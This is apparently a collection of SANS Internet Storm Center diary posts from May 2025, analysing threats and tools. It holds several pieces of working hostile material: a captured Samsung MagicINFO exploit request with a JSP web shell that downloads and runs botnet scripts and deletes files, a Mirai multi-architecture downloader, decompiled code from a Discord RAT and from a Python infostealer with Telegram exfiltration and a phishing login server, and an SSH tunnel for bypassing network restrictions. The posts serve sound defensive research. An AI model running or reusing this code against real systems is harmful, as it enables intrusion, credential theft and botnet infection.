Diaries

Published: 2025-05-08

No Internet Access? SSH to the Rescue!

This quick diary is a perfect example of why I love Linux (or UNIX in general) operating system. There is always a way to "escape" settings imposed by an admin...

Disclaimer: This has been used for testing purpose in the scope of a security assessment project. Don't break your organization security policies!

To perform some assessments on a remote network, a Customer provided me a VM running Ubuntu and reachable through SSH (with IP filtering, only SSH key authentication, etc). Once logged on the system, I started to work but I was lacking of some tools and decided to install them. Bad news... The VM had no Internet access. No problem, we have an SSH access!

Let's assume the following enrivonment:

  • server.acme.org is the VM. SSH listening on port 65022.
  • client.sans.edu is my workstation with SSH listening on port 22.

Step 1: From client.sans.edu, connect to the server via one terminal and create a reverse tunnel ("-R" option)

ssh -p 65022 -i .ssh/privatekey -R 2222:localhost:22 xavier@server.acme.org

Step 2: Start a second session to the server, from a second terminal

ssh -p 65022 -i .ssh/privatekey xavier@server.acme.org

Step 3: From the second session, connect back to the client and setup a dynamic port forwaring ("-D")

ssh -p 2222 -D 1080 xavier@localhost

Step 4: From the fist session, create environment variables:

export http_proxy=socks5h://127.0.0.1:1080
export https_proxy=socks5h://127.0.0.1:1080
curl https://ipinfo.io/

Curl should tell you that your IP address is the one of client.sans.edu!

Now, all tools handling these variables will have access to the Interneet through your client! Slow but effective!

They are for sure many other ways to achieve this but... that's the magic of UNIX, always plenty of way to solve issues... Please share your idea or techiques!

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2025-05-07

Example of "Modular" Malware

Developers (of malware as well as goodware) don't have to reinvent the wheel all the time. Why rewrite a piece of code that was development by someone else? In the same way, all operating systems provide API calls (or system calls) to interact with the hardware (open a file, display a pixel, send a packet over the wire, etc). These system calls are grouped in libraries (example: Windows provided wininet.dll to interact with networks).

Briefly, Developers have different ways to use libraries:

  • Static linking: The library is added (appended) to the user code by thelinker at compilation time.
  • Dynamic loading: The library is loaded by the "loader" when the program is started and made available to the program (the well-known "DLL" files)
  • On-demand loading: The Developer decides that it's now time to load an extra DLL in the program environment.

In the malware ecosystem, the third method is pretty cool because Attackers can develop "modular" malware that will expand their capabilities only when needed. Let's imagine a malware that will first perform a footprint of the victim's computer. If the victim is an administrative employee and some SAP-related files or processes are discovered by the malware, it can fetch a specific DLL from a C2 server and load it to add features targeting SAP systems. Besides the fact that the malware is smaller, the malware may look less suspicious.

Here is an example of such malware that expands its capabilities on demand. The file is a Discord RAT (SHA256:9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e)[1]. The sample is a .Net malware and can be easily decompiled. Good news, there is no obfuscation implemented and the code is pretty easy to read.

The list of "modules" or external DLLs is provided in a dictionary:

public static Dictionary<string, string> dll_url_holder = new Dictionary<string, string>
{
  { "password", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/PasswordStealer.dll" },
  { "rootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/rootkit.dll" },
  { "unrootkit", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/unrootkit.dll" },
  { "webcam", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Webcam.dll" },
  { "token", "hxxps://raw[.]githubusercontent[.]com/moom825/Discord-RAT-2.0/master/Discord%20rat/Resources/Token%20grabber.dll" }
};

Let's take an example: Webcam.dll:

remnux@remnux:/MalwareZoo/20250507$ file Webcam.dll
Webcam.dll: PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows

DLLs are loaded only when required by the malware. The RAT has a command "webcampic" to take a picture of the victim:

"--> !webcampic = Take a picture out of the selected webcam"

Let's review the function associated to this command:

public static async Task webcampic(string channelid)
{
    if (!dll_holder.ContainsKey("webcam"))
    {
        await LoadDll("webcam", await LinkToBytes(dll_url_holder["webcam"]));
    }
    if (!activator_holder.ContainsKey("webcam"))
    {
        activator_holder["webcam"] = Activator.CreateInstance(dll_holder["webcam"].GetType("Webcam.webcam"));
        activator_holder["webcam"].GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]);
    }
    object obj = activator_holder["webcam"];
    obj.GetType().GetMethod("init").Invoke(activator_holder["webcam"], new object[0]);
    if ((obj.GetType().GetField("cameras").GetValue(obj) as IDictionary<int, string>).Count < 1)
    {
        await Send_message(channelid, "No cameras found!");
        await Send_message(channelid, "Command executed!");
        return;
    }
    try
    {
        byte[] item = (byte[])obj.GetType().GetMethod("GetImage").Invoke(obj, new object[0]);
        await Send_attachment(channelid, "", new List<byte[]> { item }, new string[1] { "webcam.jpg" });
        await Send_message(channelid, "Command executed!");
    }
    catch
    {
        await Send_message(channelid, "Error taking picture!");
        await Send_message(channelid, "Command executed!");
    }
}

"dll_holder" is a dictionary that contains addresses of loaded DLLs:

public static async Task LoadDll(string name, byte[] data)
{
    dll_holder[name] = Assembly.Load(data);
}

In the webcam function, if the DLLS has not been loaded yet, the DLL file is fetched from the Git repository, converted into a byte array and loaded in memory. Once the DLL is loaded, the main class is used. Here is the decompiled code of Webcam.dll:

namespace Webcam
{
    public class webcam
    {
        public static Dictionary<string, bool> ready = new Dictionary<string, bool>();
        public static Dictionary<string, Bitmap> holder = new Dictionary<string, Bitmap>();
        public static Dictionary<int, string> cameras = new Dictionary<int, string>();
        public static int selected = 1;
        public static string GetWebcams()
        {
            // Code removed
        }
        public static byte[] GetImage()
        {
            // Code removed
        }
        private static void video_NewFrame(object sender, NewFrameEventArgs eventArgs, string key)
        {
            // Code removed
        }
        public static bool select(int num)
        {
            // Code removed
        }
        public static void init()
        {
            GetWebcams();
        }
    }
}

This is simple example of a "modular" malware! Happy Hunting!

[1] https://www.virustotal.com/gui/file/9cac561e2da992f974286bdb336985c1ee550abd96df68f7e44ce873ef713f4e/details

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2025-05-06

Python InfoStealer with Embedded Phishing Webserver

Infostealers are everywhere for a while now. If this kind of malware is not aggressive, their impact can be much more impacting to the victim. Attackers need always more and more data to be sold or reused in deeper scenarios. A lot of infostealers are similar and have the following capabilities:

  • Antidebugging and anti-VM capabilities
  • Persistence
  • Data scanner (credentials, cookies, wallets, "interesting" keyword in files, ...)
  • Exfiltration

I found another malicious Python script that implements all these capabilities. Persistence is implemeted via a Registry key and a scheduled task (always have a backup solution wink), a keylogger is started, the clipboard content is captured, a screenshot is taken every minute. All data is exfiltrated to a Telegram channel, encrtypted with the Fernet() module:

brAljAVm = "7740489037:AAHgOz-DbTeXM-IqY9luQNPL4uao1kWrudU"
WmeLPHIr = "5395609882"
UJSfiUOF = f"hxxps://api[.]telegram[.]org/bot{brAljAVm}"

def TeqIMJxB(text):
    try:
        enc = bsSlwZVy.encrypt(text.encode())
        requests.post(f"{UJSfiUOF}/sendMessage", data={"chat_id": WmeLPHIr, "text": enc.decode()})
    except:
        pass

All "modules" are started in separate threads:

threading.Thread(target=HXSuYqeM, daemon=True).start()
threading.Thread(target=FRgNaDwJ, daemon=True).start()
threading.Thread(target=yReyYwvL, daemon=True).start()
threading.Thread(target=MinLOVga, daemon=True).start()

What's different in this InfoStealer? The presense of an embedded Flask server[1] used to spawn a rogue webserver:

def MinLOVga():
    app = Flask(__name__)
    fake_sites = {
        "google": "https://accounts.google.com",
        "microsoft": "https://login.microsoftonline.com"
    }
    @app.route("/login/<template>", methods=["GET", "POST"])
    def login(template):
        if request.method == "POST":
            creds = f"{request.form.get('username')}:{request.form.get('password')}"
            TeqIMJxB(f"🎣 {template.upper()} PHISH: {creds}")
            return redirect(fake_sites.get(template, "https://google.com"))
        return '''
        <form method="POST">
            <input name="username" placeholder="Email"><br>
            <input name="password" type="password" placeholder="Password"><br>
            <button>Login</button>
        </form>
        '''
    try:
        context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
        context.load_cert_chain("cert.pem", "key.pem")
        threading.Thread(target=app.run, kwargs={
            "host": "0.0.0.0", "port": 443, "ssl_context": context
        }, daemon=True).start()
    except: pass

You can see that the HTTPS server is started using local files cert.pem and key.pem. I did not find them. I presume that this script is part of a "package" distributed to the victim and containing all required files. 

The script is called "2.py" (SHA256:538485a12db0a673623dfbf1ea1ae61a68c5e8f0df5049a51399f30d48aa15d2). Based on the comments in the code, it seems to have been developed by a Turkish threat actor. The VT score is still very low: 3/63[2].

[1] https://flask.palletsprojects.com/en/stable/
[2] https://www.virustotal.com/gui/file/538485a12db0a673623dfbf1ea1ae61a68c5e8f0df5049a51399f30d48aa15d2/detection

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 Comments

Published: 2025-05-05

"Mirai" Now Exploits Samsung MagicINFO CMS (CVE-2024-7399)

Last August, Samsung patched an arbitrary file upload vulnerability that could lead to remote code execution [1]. The announcement was very sparse and did not even include affected systems:

SVP-AUG-2024
SVE-2024-50018(CVE-2024-7399)
Weakness : Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server allows attackers to write arbitrary file as system authority.
Patch information : The patch modifies verification logic of the input.

 

At around the same time, a CVE was assigned to the vulnerability: CVE-2024-7399. The NVD entry has a little bit more details [2]. In particular, it identifies a legacy CMS distributed by Samsung, MagicINFO 9, as the vulnerable software:

Improper limitation of a pathname to a restricted directory vulnerability in Samsung MagicINFO 9 Server version before 21.1050 allows attackers to write arbitrary file as system authority.

For some reason, this vulnerability was covered in a recent article on Cybersecuritynews, providing additional details [3]:

According to the technical analysis, the /MagicInfo/servlet/SWUpdateFileUploader endpoint implemented by the SWUpdateFileUploadServlet class contains multiple security issues.

Sadly, I can not find a reference to the original technical analysis or who it was performed by in Cybersecuritynews article. But we are now seeing some exploit attempts for the issue.

The POST request we are seeing is a typical "IoT Botnet" style request as we have seen many before. It first uses the magicINFO 9 vulnerability to download a script:

POST /MagicInfo/servlet/SWUpdateFileUploader HTTP/1.1
User-Agent: python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 1151
Content-Type: multipart/form-data; boundary=4f3a72624fa5c399c5d203d3617891cb


--4f3a72624fa5c399c5d203d3617891cb

Content-Disposition: form-data; name="file"; filename="1746466018shell.jsp"
Content-Type: application/octet-stream

<%@ page import="java.io.*" %>
<%
try {
    String[] cmd = {
        "/bin/sh", "-c",
        "cd /tmp; cd /var/run; cd /mnt; cd /root; cd /; "
        + "wget http://176.65.142.122/ohshit.sh; "
        + "curl -O http://176.65.142.122/ohshit.sh; "
        + "chmod 777 ohshit.sh; sh ohshit.sh; "
        + "tftp 176.65.142.122 -c get ohshit.sh; chmod 777 ohshit.sh; sh ohshit.sh; "
        + "tftp -r ohshit2.sh -g 176.65.142.122; chmod 777 ohshit2.sh; sh ohshit2.sh; "
        + "ftpget -v -u anonymous -p anonymous -P 21 176.65.142.122 ohshit1.sh ohshit1.sh; sh ohshit1.sh; "
        + "rm -rf ohshit.sh ohshit2.sh ohshit1.sh; rm -rf *"
    };
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
} catch (Exception e) {
    out.println("Error: " + e.toString());
}
%>

--4f3a72624fa5c399c5d203d3617891cb--

The bash script contains the usual "multi-architecture" downloader for the actual bot. I am only including the first couple lines here as they repeat for different architectures:

#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176.65.142.122/hiddenbin/boatnet.x86; curl -O http://176.65.142.122/hiddenbin/boatnet.x86;cat boatnet.x86 >WTF;chmod +x *;./WTF
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176.65.142.122/hiddenbin/boatnet.mips; curl -O http://176.65.142.122/hiddenbin/boatnet.mips;cat boatnet.mips >WTF;chmod +x *;./WTF
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://176.65.142.122/hiddenbin/boatnet.arc; curl -O http://176.65.142.122/hiddenbin/boatnet.arc;cat boatnet.arc >WTF;chmod +x *;./WTF

The "botnet" bot is well recognized by Virustotal and appears to be yet another version of Mirai, which matches the download behavior [4].

 

[1] https://security.samsungtv.com/securityUpdates
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-7399
[3] https://cybersecuritynews.com/samsung-magicinfo-vulnerability/
[4] https://www.virustotal.com/gui/file/3f26e58cd09804d9c38c6613fb976d8a680555f3eac38a46ef7f3927beaadd26

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

0 Comments

Published: 2025-05-03

Steganography Challenge

If you are interested in experimenting with steganography and my tools, I propose the following challenge.

This GitHub project is for a steganography tool. It has a PNG image of a stegosaurus with an encoded message.

The challenge is to use my tools to decode the message.

The steganographic algortihm is a bit different than the one I described in diary entry "Steganography Analysis With pngdump.py: Bitstreams".

If you are stuck and need a hint (ROT13): zngevk genafcbfvgvba

Next Saturday, I will post my solution.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

2 Comments

Published: 2025-05-01

Steganography Analysis With pngdump.py: Bitstreams

A friend asked me if my pngdump.py tool can extract individual bits from an image (cfr. diary entry "Steganography Analysis With pngdump.py").

It can not. But another tool can: format-bytes.py.

In the diary entry I mentioned, a PE file is embedded inside a PNG file according to a steganographic method: all the bytes of a channel are replaced by the bytes that make up the PE file. If one would visualize this image, it would be clear that it represents nothing. That it just looks like noise.

Often with steganography, the purpose is to hide a message in some medium, without distorting that medium too much. If it's a picture for example, then one would not notice a difference between the original picture and the altered picture upon visual inspection.

This is often achieved by making small changes to the colors that define individual pixels. Take an 8-bit RGB encoding: each pixel is represented by 3 bytes, one for the intensity of the color red, one for green and one for blue. By changing just the least significant bit (LSB) of each byte that represents the RGB color of the pixel, one can encode 3 bits, without noticable change in the final color (it's a change smaller than 0.5% (1/256)).

Take these pictures for example:

The one on the left is the original picture, the one on the right has an embedded PE file (via LSB steganography). I can't see a difference.

To extract the PE file from the picture on the right, one has to extract the LSB of each color byte, and assemble them into bytes. This can be done with format-bytes.py.

format-bytes.py takes binary data as input and parses it per the instructions of the analyst. I typically use it to parse bytes, like in this example:

format-bytes.py -f "<IBB"

This means the input data should be parsed as a unsigned 32-bit integer (I), little-endian (<), followed by two unsigned bytes (BB).

But format-bytes.py can also extract individual bits: this is done with bitstream processing. Let me show you an example.

The steganographic lake image I created contains an embedded PE file. The bits that make up the bytes of the PE file, are stored in the least significant bit of each color byte of the pixels in the image.

First I encoded the length of the PE file as an unsigned, little-endian 32-bit integer. Using the LSBs of the pixels. And then followed by the PE file itself, also encoded in the LSBs of the pixels.

The following command decodes the length:

pngdump.py -R -d lake-exe.png   | cut-bytes.py 0:32l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>"   | format-bytes.py

pngdump.py's option -R extracts the raw bitmap of the image, option -d does a binary dump.

This bitmap data is piped into cut-bytes.py to select the first 32 bytes (0:32l). We want the first 32 bytes to extract the 32 LSBs that make up the length of the embedded PE file.

format-bytes.py's option -f "bitstream=f:B,b:0,j:>" instructs the tool to operate on the bit level (bitstream) and to treat the incoming data as individual unsigned bytes (f:B, e.g., format B), to select the least significant bit (b:0, e.g., the bit at position 0 in the byte) and to assemble the extracted bits into bytes in big-endian order (j:>, e.g., join in big-endian order).

That produces 4 bytes, that can then be piped again into another instance of format-bytes, this time to parse the integer.

This output produced by the second instance of format-bytes.py, represents the incoming data in different formats. The line that starts with 4I shows the formatting of 4-byte long integers. ul stand for unsigned & little-endian. Thus the length of the PE file is 58120, this is stored in the LSBs of the first 32 bytes of the raw image.

Now that we know the length of the PE files, we know how many bits to extract: 58120 * 8 = 464960. So from the 32nd byte in the raw image, we take 464960 bytes and process them with the same bitstream method (but this time, I do an HEX/ASCII dump (-a) to view the extracted PE file):

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -a -f "bitstream=f:B,b:0,j:>" | headtail.py

This looks indeed as a PE file. Let's do a binary dump and pipe it into tools file-magic.py and pecheck.py to verify that it is indeed a valid PE file:

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | file-magic.py

pngdump.py -R -d lake-exe.png   | cut-bytes.py 32:464960l   | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | pecheck.py | headtail.py

We did extract a valid PE file.

And as a final check, since I know the hash of the original file, let's validate it with hash.py:

pngdump.py -R -d lake-exe.png | cut-bytes.py 32:464960l | format-bytes.py -d -f "bitstream=f:B,b:0,j:>" | hash.py -v 0a391054e50a4808553466263c9c3b63e895be02c957dbb957da3ba96670cf34

As Johannes explained in his Stormcast episode, there are many ways to encode data using steganography, and it's often hard to detect/extract unless you know the exact algorithm. I was able to decode it with my tools, because I knew exactly how the PE file was encoded (as I did it myself :-) ).

You can find many (online) steganography tools, but they don't always explain how they encode a payload.

If you are interested, tune in this Saturday, I will present you with a challenge diary entry. :-)

 

Didier Stevens
Senior handler
blog.DidierStevens.com

 

 

0 Comments